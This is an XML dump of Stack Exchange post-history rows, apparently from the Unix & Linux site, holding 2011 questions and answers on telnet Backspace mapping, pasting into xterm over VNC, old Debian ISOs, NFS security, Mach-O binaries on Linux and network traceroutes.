  <row Id="33264" PostHistoryTypeId="2" PostId="13413" RevisionGUID="abd3a3ed-d108-47ea-86aa-7d43cf276a50" CreationDate="2011-05-18T20:18:14.830" UserId="6766" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use the backspace as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze.  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.&#xD;&#xA;&#xD;&#xA;I have noticed that backspace works correctly if I use `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map backspace to cntl-h for these devices?" />
  <row Id="33265" PostHistoryTypeId="1" PostId="13413" RevisionGUID="abd3a3ed-d108-47ea-86aa-7d43cf276a50" CreationDate="2011-05-18T20:18:14.830" UserId="6766" Text="Force telnet to use cntl-h for backspace" />
  <row Id="33266" PostHistoryTypeId="3" PostId="13413" RevisionGUID="abd3a3ed-d108-47ea-86aa-7d43cf276a50" CreationDate="2011-05-18T20:18:14.830" UserId="6766" Text="élinuxàéterminalàételnetà" />
  <row Id="33267" PostHistoryTypeId="17" PostId="13415" RevisionGUID="ed869780-257c-4826-b06c-bc5939db036a" CreationDate="2011-05-18T20:19:01.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6049875/copy-text-to-xterm/6049892#6049892" Text="" />
  <row Id="33269" PostHistoryTypeId="17" PostId="13417" RevisionGUID="a60d1ff0-4c2b-409b-aec9-e4b42d2e194c" CreationDate="2011-05-18T20:19:01.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6049875/copy-text-to-xterm/6049959#6049959" Text="" />
  <row Id="33270" PostHistoryTypeId="17" PostId="13418" RevisionGUID="ba381e9b-1b41-48f4-85c1-13f24395bada" CreationDate="2011-05-18T20:19:01.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6049875/copy-text-to-xterm/6050139#6050139" Text="" />
  <row Id="33271" PostHistoryTypeId="2" PostId="13415" RevisionGUID="ff90e8d5-5d7b-4b8b-8d4a-ecd2dc76635c" CreationDate="2011-05-18T19:17:47.120" UserId="2484" Text="Try using the volume button (+)" />
  <row Id="33273" PostHistoryTypeId="2" PostId="13417" RevisionGUID="f1992903-10ee-44e1-862c-cde2f43770b0" CreationDate="2011-05-18T19:23:12.003" UserDisplayName="Andrew" Text="Keep in mind that when you're pasting into your Xterm that if you're at the command prompt you could flood it with alot of 'junk'.   You'll want to do something like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ cat - &gt;tmp.txt&#xD;&#xA;&#xD;&#xA;This instructs the 'catenate' program to direct all of it's input into 'tmp.txt'.  You'll paste your data in there and then enter ctrl-d which sends an 'end-of-file' to the cat program telling it to close its input.  You'll get the command prompt back, and tmp.txt will contain what you pasted in.&#xD;&#xA;&#xD;&#xA;Some window managers are 'rude' and start eating your clicks, but alot of the newer termals(gnome-terminal etc) have the standard 'Edit' menu." />
  <row Id="33274" PostHistoryTypeId="2" PostId="13418" RevisionGUID="cf138851-1092-492b-b24b-e774a4cc25ab" CreationDate="2011-05-18T19:41:03.497" UserId="3482" Text="To paste text copied from other windows (like you said firefox) in xterm window click the mouse wheel or center mouse button.&#xD;&#xA;" />
  <row Id="33275" PostHistoryTypeId="2" PostId="13414" RevisionGUID="7dbbc2a7-e1ce-426e-abf0-cd32118f041e" CreationDate="2011-05-18T19:15:32.427" UserDisplayName="Richard" Text="How to paste text in a xterm? Now I can copy text from xterm to an outside application, like firefox, by highlighting the text there. But I can not copy text from firefox to xterm. I am just normal user of linux system and dont have root access to install patches. Is there any workaround? &#xD;&#xA;&#xD;&#xA;System information is Linux version 2.6.18 (...@hs20-bc1-7.build.redhat.com) &#xD;&#xA;&#xD;&#xA;Edit: One important fact I forget to mention is I am using RealVNC to connect to the Linux server. Rightclick works fine for prompt in my local linux, but not the remote instance." />
  <row Id="33276" PostHistoryTypeId="1" PostId="13414" RevisionGUID="7dbbc2a7-e1ce-426e-abf0-cd32118f041e" CreationDate="2011-05-18T19:15:32.427" UserDisplayName="Richard" Text="copy text to xterm" />
  <row Id="33277" PostHistoryTypeId="3" PostId="13414" RevisionGUID="7dbbc2a7-e1ce-426e-abf0-cd32118f041e" CreationDate="2011-05-18T19:15:32.427" UserDisplayName="Richard" Text="élinuxàéxtermà" />
  <row Id="33278" PostHistoryTypeId="17" PostId="13414" RevisionGUID="d048befb-701f-49ca-9424-81c69327124e" CreationDate="2011-05-18T20:19:01.897" UserId="-1" Comment="from http://stackoverflow.com/questions/6049875/copy-text-to-xterm" Text="" />
  <row Id="33279" PostHistoryTypeId="5" PostId="13413" RevisionGUID="4b724094-85dd-4501-93cc-9d900ac18021" CreationDate="2011-05-18T20:24:29.647" UserId="6766" Comment="added 39 characters in body; added 11 characters in body; added 17 characters in body; added 50 characters in body; edited title; edited title" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze.  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, would you say this is a bug in the device?" />
  <row Id="33280" PostHistoryTypeId="4" PostId="13413" RevisionGUID="4b724094-85dd-4501-93cc-9d900ac18021" CreationDate="2011-05-18T20:24:29.647" UserId="6766" Comment="added 39 characters in body; added 11 characters in body; added 17 characters in body; added 50 characters in body; edited title; edited title" Text="Force telnet to use crtl-H for backspace" />
  <row Id="33281" PostHistoryTypeId="5" PostId="13413" RevisionGUID="dd32bc34-d55b-4cf4-8d33-b67b9b9646e6" CreationDate="2011-05-18T20:31:59.923" UserId="6766" Comment="added 33 characters in body; added 22 characters in body" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze.  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use a raw TCP socket from `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, what criteria should I use to evaluate whether this is a bug in the device?" />
  <row Id="33282" PostHistoryTypeId="6" PostId="13414" RevisionGUID="85b1d57d-197b-4b30-9106-8a0a375a7886" CreationDate="2011-05-18T20:40:32.567" UserId="885" Comment="edited tags" Text="évncàéxtermàécopyöpasteà" />
  <row Id="33283" PostHistoryTypeId="2" PostId="13419" RevisionGUID="d556823a-fe20-41bc-a041-651974c7d313" CreationDate="2011-05-18T20:41:31.753" UserId="1925" Text="Most of what you read about NFS security only applies to old versions of nfs and public networks. If your network is closed limited to trusted user usage you don't have to worry as much, and recent versions of nfs include all kinds of security measures. If you were really paranoid you could tunnel it over ssh.&#xD;&#xA;&#xD;&#xA;All that to say the objection is surmountable and nothing else in your question gives us any clue how to answer it or what to recommend. Maybe if you described your situation a little better a technology could be forwarded." />
  <row Id="33284" PostHistoryTypeId="2" PostId="13420" RevisionGUID="ac1d4024-3856-4e76-99b1-1834c4ec1635" CreationDate="2011-05-18T20:42:37.500" UserId="2594" Text="Backspace and Control-H were designed to be the same thing but nowadays, especially on Linux, you often have backspace sending delete and delete sending some odd escape sequence.&#xD;&#xA;&#xD;&#xA;In any case and as far as I know, telnet or the TERM variable shouldn't change what backspace sends, this is usually a terminal emulator configuration feature." />
  <row Id="33286" PostHistoryTypeId="2" PostId="13421" RevisionGUID="1a78e78f-f2d7-4e96-b0bc-1b6c25e8d4e2" CreationDate="2011-05-18T20:46:51.857" UserId="1925" Text="As noted by [yasouser][1], middle-click is the standard way to paste the selection buffer in linux. This buffer gets written every time anything is selected with no need to initiate a copy command. In gtk based or influenced apps, there is usually a keybinding for this as well. &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Insert&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;In most Desktop Environments there is also a copy buffer that is separate from the selection buffer. Getting items into this usully requires a keyboard shortcut like &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; or menu selection, and pastes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; or a menu. These bindings are program specific and may varry, although they usually follow toolkit standards.&#xD;&#xA;&#xD;&#xA;On KDE there is often a clipboard buffer configured by default in the tray that handles access to several recent clipboard items. This sort of function can be added to gnome and other environments as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13414/copy-text-to-xterm/13418#13418" />
  <row Id="33287" PostHistoryTypeId="5" PostId="13413" RevisionGUID="90a79465-cafe-4559-9b75-7cda39b35a74" CreationDate="2011-05-18T21:11:56.873" UserId="6766" Comment="added 197 characters in body" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze.  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.  I started down the road of changing `TERM` based on what I saw in an [old Kermit FAQ](http://www.columbia.edu/kermit/backspace.html).  FWIW, `stty erase ^h` and `stty erase ^?` don't work either.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use a raw TCP socket from `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, what criteria should I use to evaluate whether this is a bug in the device?" />
  <row Id="33288" PostHistoryTypeId="25" PostId="13404" RevisionGUID="8a0362a3-0d3a-4975-974d-08d593fd6672" CreationDate="2011-05-18T21:12:23.477" Comment="http://twitter.com/#!/StackUnix/status/70959942688968704" />
  <row Id="33289" PostHistoryTypeId="2" PostId="13422" RevisionGUID="e8d5a277-6178-4ce7-9dc1-5e8fea5c924d" CreationDate="2011-05-18T21:50:27.997" UserId="6789" Text="So the next stable version of Debian is out but I need to install the previous one (Lenny) because my VPS is running that version. I haven't been able to find an «official» download link for Lenny's ISOs.&#xD;&#xA;&#xD;&#xA;Can you help me with this?" />
  <row Id="33290" PostHistoryTypeId="1" PostId="13422" RevisionGUID="e8d5a277-6178-4ce7-9dc1-5e8fea5c924d" CreationDate="2011-05-18T21:50:27.997" UserId="6789" Text="Where are Lenny ISOs now that Squeeze is out?" />
  <row Id="33291" PostHistoryTypeId="3" PostId="13422" RevisionGUID="e8d5a277-6178-4ce7-9dc1-5e8fea5c924d" CreationDate="2011-05-18T21:50:27.997" UserId="6789" Text="édebianàéisoàédownloadà" />
  <row Id="33292" PostHistoryTypeId="2" PostId="13423" RevisionGUID="6022b906-7e75-43a2-a937-b679ace86ea6" CreationDate="2011-05-18T21:55:25.770" UserId="2421" Text="See the [Debian CD FAQ on old images][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/CD/faq/#old" />
  <row Id="33293" PostHistoryTypeId="5" PostId="13413" RevisionGUID="9fcb60da-6cfa-421e-8f40-df87e8acb16a" CreationDate="2011-05-18T21:59:30.713" UserId="6766" Comment="added 646 characters in body" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze (in an XTerm).  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.  I started down the road of changing `TERM` based on what I saw in an [old Kermit FAQ](http://www.columbia.edu/kermit/backspace.html).  FWIW, `stty erase ^h` and `stty erase ^?` don't work either.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use a raw TCP socket from `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, what criteria should I use to evaluate whether this is a bug in the device?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;---&#xD;&#xA;In case it matters, this is the output from `showkey -a` for the keys in question... `^?` corresponds to &lt;kbd&gt;Backspace&lt;/kbd&gt; and `^H` is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;.  It seems like I should be getting close when I look at [The Linux Keyboard and Console Howto](http://tldp.org/HOWTO/Keyboard-and-Console-HOWTO-15.html), but I can't seem to decipher what I can do to change this.  I have tried various incantations with `loadkeys` to no effect.&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee docs]$ sudo showkey -a&#xD;&#xA;    &#xD;&#xA;    Press any keys - Ctrl-D will terminate this program&#xD;&#xA;    &#xD;&#xA;    ^?      127 0177 0x7f&#xD;&#xA;    ^H        8 0010 0x08" />
  <row Id="33294" PostHistoryTypeId="5" PostId="13413" RevisionGUID="7d8f5b98-9718-4911-866e-a88d85573873" CreationDate="2011-05-18T22:11:19.440" UserId="6766" Comment="added 591 characters in body" Text="I have some devices connected to a Cisco serial term server; many work fine when I `telnet` directly to the port on the Cisco.  However, I have a few stubborn devices that will not use &lt;kbd&gt;Backspace&lt;/kbd&gt; as it is mapped in telnet by default.&#xD;&#xA;&#xD;&#xA;In case it matters, I telnet from `rxvt` under Debian squeeze (in an XTerm).  `TERM` is set to `rxvt`, but it doesn't matter whether I use `vt100`, `vt101`, or `xterm`... changing `TERM` has no effect.  I started down the road of changing `TERM` based on what I saw in an [old Kermit FAQ](http://www.columbia.edu/kermit/backspace.html).  FWIW, `stty erase ^h` and `stty erase ^?` don't work either.&#xD;&#xA;&#xD;&#xA;I have noticed that &lt;kbd&gt;Backspace&lt;/kbd&gt; works correctly on these devices if I use a raw TCP socket from `netcat`... i.e. `nc 192.168.12.117 2006`; however, then I run into other issues with passwords not hidden or terminal paging.&#xD;&#xA;&#xD;&#xA;How can I selectively force telnet to map &lt;kbd&gt;Backspace&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; for these devices?  Also, what criteria should I use to evaluate whether this is a bug in the device?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;---&#xD;&#xA;In case it matters, this is the output from `showkey -a` for the keys in question... `^?` corresponds to &lt;kbd&gt;Backspace&lt;/kbd&gt; and `^H` is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;.  It seems like I should be getting close when I look at [The Linux Keyboard and Console Howto](http://tldp.org/HOWTO/Keyboard-and-Console-HOWTO-15.html), but I can't seem to decipher what I can do to change this.  I have tried various incantations with `loadkeys` to no effect.&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee docs]$ sudo showkey -a&#xD;&#xA;    &#xD;&#xA;    Press any keys - Ctrl-D will terminate this program&#xD;&#xA;    &#xD;&#xA;    ^?      127 0177 0x7f&#xD;&#xA;    ^H        8 0010 0x08&#xD;&#xA;&#xD;&#xA;I am also including relevant output from `dumpkeys` as well... this is the current mapping in my system (which doesn't work on some devices in question).  If I could figure out how to get &lt;kbd&gt;Backspace&lt;/kbd&gt; to do the same thing as &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;, I would have a solution.&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee docs]$ sudo dumpkeys | grep -Ei &quot;backspace|127&quot;&#xD;&#xA;    keycode   8 = BackSpace        ampersand        braceleft       &#xD;&#xA;    keycode  14 = BackSpace        Delete          &#xD;&#xA;            control keycode  14 = BackSpace       &#xD;&#xA;    keycode 127 =&#xD;&#xA;    [mpenning@hotcoffee docs]$" />
  <row Id="33295" PostHistoryTypeId="2" PostId="13424" RevisionGUID="df630efc-79a3-433c-b37c-1ae42e09d906" CreationDate="2011-05-18T22:19:26.423" UserId="4671" Text="You could run a virtual machine (say using VirtualBox) on your Windows machine and do the downloading there by calling `yum update`. You can then copy the downloaded files there to your offline Fedora box. I'm not familiar with how `yum` does it, but usually these package managers have a small list of files where they cache information." />
  <row Id="33296" PostHistoryTypeId="5" PostId="3350" RevisionGUID="6f714f9b-0eec-45fa-a117-f1715954f6e4" CreationDate="2011-05-18T22:52:29.623" UserId="1779" Comment="added 413 characters in body" Text="The whole [ABI](http://en.wikipedia.org/wiki/Application_binary_interface) is different, not just the binary format (Mach-O versus ELF) as sepp2k mentioned.&#xD;&#xA;&#xD;&#xA;For example, while both Linux and Darwin/XNU (the kernel of OS X) use `sc` on PowerPC and `int 0x80`/`sysenter`/`syscall` on x86 for syscall entry, there's not much more in common from there on.&#xD;&#xA;&#xD;&#xA;Darwin directs negative syscall numbers at the Mach microkernel and positive syscall numbers at the BSD monolithic kernel ­— see [xnu/osfmk/mach/syscall_sw.h](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/osfmk/mach/syscall_sw.h) and [xnu/bsd/kern/syscalls.master](http://codesearch.google.com/codesearch/p?hl=en#pFm0LxzAWvs/darwinsource/tarballs/apsl/xnu-792.13.8.tar.gz%7CziJbqhCXHqI/xnu-792.13.8/bsd/kern/syscalls.master).  Linux's syscall numbers vary by architecture — see [linux/arch/powerpc/include/asm/unistd.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/powerpc/include/asm/unistd.h), [linux/arch/x86/include/asm/unistd_32.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_32.h), and [linux/arch/x86/include/asm/unistd_64.h](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=arch/x86/include/asm/unistd_64.h) — but are all nonnegative.  So obviously syscall numbers, syscall arguments, and even *which* syscalls exist are different.&#xD;&#xA;&#xD;&#xA;The standard C runtime libraries are different too; Darwin mostly inherits FreeBSD's libc, while Linux typically uses glibc (but there are alternatives, like eglibc and dietlibc and uclibc and Bionic).&#xD;&#xA;&#xD;&#xA;Not to mention that the whole graphics stack is different; ignoring the whole Cocoa Objective-C libraries, GUI programs on OS X talk to WindowServer over Mach ports, while on Linux, GUI programs usually talk to the X server over UNIX domain sockets using the X11 protocol.  Of course there are exceptions; you can run X on Darwin, and you can bypass X on Linux, but OS X applications definitely do not talk X.&#xD;&#xA;&#xD;&#xA;Like Wine, if somebody put the work into&#xD;&#xA;&#xD;&#xA;  - implementing a binary loader for Mach-O&#xD;&#xA;  - trapping every XNU syscall and converting it to appropriate Linux syscalls&#xD;&#xA;  - writing replacements for OS X libraries like CoreFoundation as needed&#xD;&#xA;  - writing replacements for OS X services like WindowServer as needed&#xD;&#xA;&#xD;&#xA;then running an OS X program &quot;natively&quot; on Linux could be possible.  Years ago, Kyle Moffet did some work on the first item, creating a prototype [binfmt_mach-o](http://thread.gmane.org/gmane.linux.kernel/510453) for Linux, but it was never completed, and I know of no other similar projects.&#xD;&#xA;&#xD;&#xA;(In theory this is quite possible, and similar efforts have been done many times; in addition to Wine, Linux itself has support for running binaries from other UNIXes like HP-UX and Tru64, and the [Glendix](http://www.glendix.org/) project aims to bring Plan 9 compatiblity to Linux.)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Somebody *has* put in the effort to implement a Mach-O binary loader and API translator for Linux!&#xD;&#xA;&#xD;&#xA;[shinh/maloader - GitHub](https://github.com/shinh/maloader#readme) takes the Wine-like approach of loading the binary and trapping/translating all the library calls in userspace.  It completely ignores syscalls and all graphical-related libraries, but is enough to get many console programs working." />
  <row Id="33297" PostHistoryTypeId="2" PostId="13425" RevisionGUID="9fadf013-b866-4b6a-8f22-38e88100833b" CreationDate="2011-05-18T23:06:25.150" UserId="885" Text="Programs are supposed to query the terminal settings to find out what the backspace character is (`^h` and `^?`, i.e. `\010` and `\177`, are the two choices out there). Use `stty erase '^h'` or `stty erase '^?'` declares what your terminal sends.&#xD;&#xA;&#xD;&#xA;There are broken programs out there that don't care about the terminal settings. Looks like you've encountered one of them. Your best bet is to change your terminal's configuration.&#xD;&#xA;&#xD;&#xA;With xterm, it's easy: there's a setting to toggle the character sent by the &lt;kbd&gt;BackSpace&lt;/kbd&gt; key at run-time. From the left button menu, toggle “Delete is DEL”. Programmatically, send the [escape sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) `\e[?67h` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^h`, or `\e[?67l` to have &lt;kbd&gt;BackSpace&lt;/kbd&gt; send `^?`. The corresponding resource is `XTerm.backarrowKeyIsErase`. Other terminal emulators may or may not have a similar interface feature or support the escape sequence.&#xD;&#xA;&#xD;&#xA;Many terminal emulators send one of `^h` or `^?` when you press &lt;kbd&gt;BackSpace&lt;/kbd&gt;, and the other character when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;BackSpace&lt;/kbd&gt;. This can be useful in a pinch.&#xD;&#xA;&#xD;&#xA;Note that `showkeys` and friends are only relevant on the Linux console, not within X.&#xD;&#xA;" />
  <row Id="33298" PostHistoryTypeId="25" PostId="13414" RevisionGUID="08e4e5f3-a616-46b1-8f03-146b689a2514" CreationDate="2011-05-19T00:12:23.423" Comment="http://twitter.com/#!/StackUnix/status/71005240131989504" />
  <row Id="33299" PostHistoryTypeId="5" PostId="13403" RevisionGUID="4be95d6c-d382-461a-bea0-3b72f30f3c0e" CreationDate="2011-05-19T00:37:12.363" UserId="1875" Comment="added 477 characters in body; added 23 characters in body" Text="I'm having a weired issue wih my Fedora 14 recently. Many details involed. Let's start from this:&#xD;&#xA;&#xD;&#xA;I've been using Fedora 14 for months, and recent few days, offten I can't access Internet for hours. I can verify by a iPod Touch that connected to the same router, that the connection is fine. &#xD;&#xA;&#xD;&#xA;Say the `traceroute` below. Any tips? &#xD;&#xA;&#xD;&#xA;**-- updates --**&#xD;&#xA;&#xD;&#xA;The computer has two network devices, eth0 and wlan0.&#xD;&#xA;&#xD;&#xA;When having the problem in Linux, I can't access Internet from neither. But if booted into Windows 7 on the same machine and the same time, Internet is available via wlan0, but not eth0!&#xD;&#xA;&#xD;&#xA;It sounds like that eth0 is broken? But I can use SSH and HTTPS via eth0 under Linux. &#xD;&#xA;&#xD;&#xA;Now it's fine again. But I suspect it will happens again in few days. I'll post the tcp dump this time. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; **traceroute on Linux**&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.178), 30 hops max, 60 byte packets&#xD;&#xA;     1  * * *&#xD;&#xA;     2  58.246.230.1 (58.246.230.1)  6.228 ms * *&#xD;&#xA;     3  * * *&#xD;&#xA;     4  * * *&#xD;&#xA;     5  * * *&#xD;&#xA;     6  * * 112.64.243.170 (112.64.243.170)  6.627 ms&#xD;&#xA;     7  * * *&#xD;&#xA;     8  219.158.15.141 (219.158.15.141)  7.874 ms * *&#xD;&#xA;     9  * * *&#xD;&#xA;    10  * * *&#xD;&#xA;    11  * * *&#xD;&#xA;    12  * * 202.97.53.21 (202.97.53.21)  57.812 ms&#xD;&#xA;    13  * * *&#xD;&#xA;    14  220.181.16.138 (220.181.16.138)  57.633 ms * *&#xD;&#xA;    15  * * *&#xD;&#xA;    16  * * *&#xD;&#xA;    17  * * *&#xD;&#xA;    18  * * 220.181.8.178 (220.181.8.178)  59.643 ms&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;**traceroute on Router (Tomato)**&#xD;&#xA;&#xD;&#xA;    traceroute to 163.com (220.181.8.90), 30 hops max, 38 byte packets&#xD;&#xA;     1  58.246.230.1 (58.246.230.1)  2.178 ms  2.125 ms  9.450 ms&#xD;&#xA;     2  112.64.245.49 (112.64.245.49)  1.491 ms  1.361 ms  1.104 ms&#xD;&#xA;     3  112.64.245.37 (112.64.245.37)  1.647 ms  1.351 ms  1.712 ms&#xD;&#xA;     4  112.64.247.1 (112.64.247.1)  1.911 ms  4.424 ms  2.837 ms&#xD;&#xA;     5  112.64.243.170 (112.64.243.170)  2.322 ms  2.242 ms  2.126 ms&#xD;&#xA;     6  112.64.243.89 (112.64.243.89)  2.903 ms  2.345 ms  2.032 ms&#xD;&#xA;     7  219.158.21.237 (219.158.21.237)  3.180 ms  2.553 ms  2.501 ms&#xD;&#xA;     8  219.158.96.49 (219.158.96.49)  25.018 ms  24.734 ms  24.605 ms&#xD;&#xA;     9  219.158.5.82 (219.158.5.82)  24.555 ms  24.450 ms  24.473 ms&#xD;&#xA;    10  219.158.35.2 (219.158.35.2)  53.599 ms  77.827 ms  53.791 ms&#xD;&#xA;    11  202.97.53.21 (202.97.53.21)  55.111 ms  54.861 ms  55.390 ms&#xD;&#xA;    12  220.181.16.2 (220.181.16.2)  55.531 ms  56.193 ms  55.430 ms&#xD;&#xA;    13  220.181.16.138 (220.181.16.138)  52.883 ms  56.370 ms  54.770 ms&#xD;&#xA;    14  220.181.17.58 (220.181.17.58)  61.931 ms  51.274 ms  53.879 ms&#xD;&#xA;    15  220.181.8.90 (220.181.8.90)  50.331 ms  50.219 ms  50.177 ms" />
  <row Id="33300" PostHistoryTypeId="5" PostId="13386" RevisionGUID="a7ae1d16-f75a-45f5-af9b-f12cab0b7e97" CreationDate="2011-05-19T00:57:47.737" UserId="7567" Comment="added 57 characters in body; added 1 characters in body; edited title" Text="I'm using nm-applet to dial up DSL pppoe connections. As there are a great number of user in my local network, I sometimes have to try many times to establish a successful connection.&#xD;&#xA;&#xD;&#xA;I wonder is there some way to set nm-applet or networkmanager repeat trying automatically until connecting successfully.&#xD;&#xA;&#xD;&#xA;My system is Gentoo and desktop environment is Gnome." />
  <row Id="33301" PostHistoryTypeId="4" PostId="13386" RevisionGUID="a7ae1d16-f75a-45f5-af9b-f12cab0b7e97" CreationDate="2011-05-19T00:57:47.737" UserId="7567" Comment="added 57 characters in body; added 1 characters in body; edited title" Text="How to let networkmanager repeat trying to connect DLS until succeeded?" />
  <row Id="33302" PostHistoryTypeId="25" PostId="13413" RevisionGUID="7b5be57f-d211-4cef-b594-6ced14e442d7" CreationDate="2011-05-19T03:12:24.227" Comment="http://twitter.com/#!/StackUnix/status/71050542545248256" />
  <row Id="33303" PostHistoryTypeId="2" PostId="13426" RevisionGUID="ac445dbf-7a33-4f38-8a65-fe37d6bfbc9a" CreationDate="2011-05-19T03:44:47.063" UserId="3482" Text="Linux can mount and read the NTFS partition. But windows doesn't recognize the Linux filesystem. So formatting a portion of the hard drive to FAT32 will solve this problem.&#xD;&#xA;&#xD;&#xA;The partition editor that comes with Fedora installer should be able to format a drive to either NTFS/FAT/ext2/ext3/ext4 and probably support some more formats as well.&#xD;&#xA;" />
  <row Id="33304" PostHistoryTypeId="25" PostId="13403" RevisionGUID="461af5f3-be8d-49d1-a04c-e91bcf407d2a" CreationDate="2011-05-19T06:12:24.080" Comment="http://twitter.com/#!/StackUnix/status/71095840642580480" />
  <row Id="33305" PostHistoryTypeId="2" PostId="13427" RevisionGUID="14fcb862-24b7-4972-9406-ad18bccfb613" CreationDate="2011-05-19T06:40:43.933" UserId="7395" Text="The version numbers correlate between RHEL and CentOS (as Ben Preston already answered). Moreover, due to RHEL philosophy, the ABI should stay the same across all minor number ( .x) versions, so the package compiled for 5.4 should most likely work for 5.5 and 5.6 as well." />
  <row Id="33306" PostHistoryTypeId="6" PostId="11590" RevisionGUID="2fc6a902-f0dd-470c-a638-f83197a578e8" CreationDate="2011-05-19T06:54:03.787" UserId="885" Comment="edited tags" Text="élinuxàéprocessàémemoryàémonitoringà" />
